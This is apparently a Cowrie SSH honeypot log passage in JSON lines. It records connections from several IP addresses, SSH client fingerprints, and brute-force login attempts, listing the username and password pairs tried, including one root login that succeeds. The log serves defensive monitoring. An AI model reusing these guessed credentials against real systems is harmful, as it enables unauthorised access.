{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:46.124553Z","src_ip":"103.59.94.117","session":"f1e35f18a8d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.117","src_port":43270,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d44f6c17305","protocol":"ssh","message":"New connection: 103.59.94.117:43270 (159.203.135.109:22) [session: 7d44f6c17305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:46.357116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:46.361255Z","src_ip":"103.59.94.117","session":"7d44f6c17305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:46.603423Z","src_ip":"103.59.94.117","session":"7d44f6c17305","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:47.603717Z","src_ip":"103.59.94.117","session":"7d44f6c17305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:48.848818Z","src_ip":"103.59.94.117","session":"7d44f6c17305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.117","src_port":43282,"dst_ip":"159.203.135.109","dst_port":22,"session":"bed460104f14","protocol":"ssh","message":"New connection: 103.59.94.117:43282 (159.203.135.109:22) [session: bed460104f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:49.091161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:49.096832Z","src_ip":"103.59.94.117","session":"bed460104f14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:49.341990Z","src_ip":"103.59.94.117","session":"bed460104f14","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:50.348191Z","src_ip":"103.59.94.117","session":"bed460104f14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:50.593467Z","src_ip":"103.59.94.117","session":"bed460104f14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:50.597253Z","src_ip":"103.59.94.117","session":"f1e35f18a8d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":46264,"dst_ip":"10.17.0.5","dst_port":22,"session":"59f5b1cd3635","protocol":"ssh","message":"New connection: 64.176.195.200:46264 (10.17.0.5:22) [session: 59f5b1cd3635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:10.145242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:10.150608Z","src_ip":"64.176.195.200","session":"59f5b1cd3635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:10.159252Z","src_ip":"64.176.195.200","session":"59f5b1cd3635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phoenix","password":"phoenix","message":"login attempt [phoenix/phoenix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:10.207118Z","src_ip":"64.176.195.200","session":"59f5b1cd3635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:11.218322Z","src_ip":"64.176.195.200","session":"59f5b1cd3635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":52376,"dst_ip":"159.203.135.109","dst_port":22,"session":"929e0489300e","protocol":"ssh","message":"New connection: 45.134.9.27:52376 (159.203.135.109:22) [session: 929e0489300e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:21.453883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:21.458604Z","src_ip":"45.134.9.27","session":"929e0489300e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:21.521317Z","src_ip":"45.134.9.27","session":"929e0489300e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ceo","password":"password","message":"login attempt [ceo/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:21.806967Z","src_ip":"45.134.9.27","session":"929e0489300e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:22.871207Z","src_ip":"45.134.9.27","session":"929e0489300e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.172.70.65","src_port":37782,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b1250d6f697","protocol":"ssh","message":"New connection: 20.172.70.65:37782 (10.17.0.5:22) [session: 7b1250d6f697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:40.202317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:40.207426Z","src_ip":"20.172.70.65","session":"7b1250d6f697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:40.271897Z","src_ip":"20.172.70.65","session":"7b1250d6f697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.172.70.65","src_port":37798,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b9ea2196604","protocol":"ssh","message":"New connection: 20.172.70.65:37798 (10.17.0.5:22) [session: 8b9ea2196604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:40.409683Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:40.416225Z","src_ip":"20.172.70.65","session":"8b9ea2196604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:40.419527Z","src_ip":"20.172.70.65","session":"8b9ea2196604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":59942,"dst_ip":"159.203.135.109","dst_port":22,"session":"45d655410e3c","protocol":"ssh","message":"New connection: 34.81.72.185:59942 (159.203.135.109:22) [session: 45d655410e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:47.091761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:47.096959Z","src_ip":"34.81.72.185","session":"45d655410e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:47.291724Z","src_ip":"34.81.72.185","session":"45d655410e3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myftp","password":"myftp123!","message":"login attempt [myftp/myftp123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:48.100751Z","src_ip":"34.81.72.185","session":"45d655410e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":39510,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c9988c93b6c","protocol":"ssh","message":"New connection: 135.181.101.111:39510 (10.17.0.5:22) [session: 4c9988c93b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:48.207621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:48.212495Z","src_ip":"135.181.101.111","session":"4c9988c93b6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:48.322169Z","src_ip":"135.181.101.111","session":"4c9988c93b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antonio","password":"123456","message":"login attempt [antonio/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:48.542176Z","src_ip":"135.181.101.111","session":"4c9988c93b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:49.298407Z","src_ip":"34.81.72.185","session":"45d655410e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:49.652085Z","src_ip":"135.181.101.111","session":"4c9988c93b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:50:50.203057Z","src_ip":"20.172.70.65","session":"7b1250d6f697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44326,"dst_ip":"10.17.0.5","dst_port":22,"session":"d59e07615069","protocol":"ssh","message":"New connection: 2.57.122.208:44326 (10.17.0.5:22) [session: d59e07615069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:14.716387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:14.758522Z","src_ip":"2.57.122.208","session":"d59e07615069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa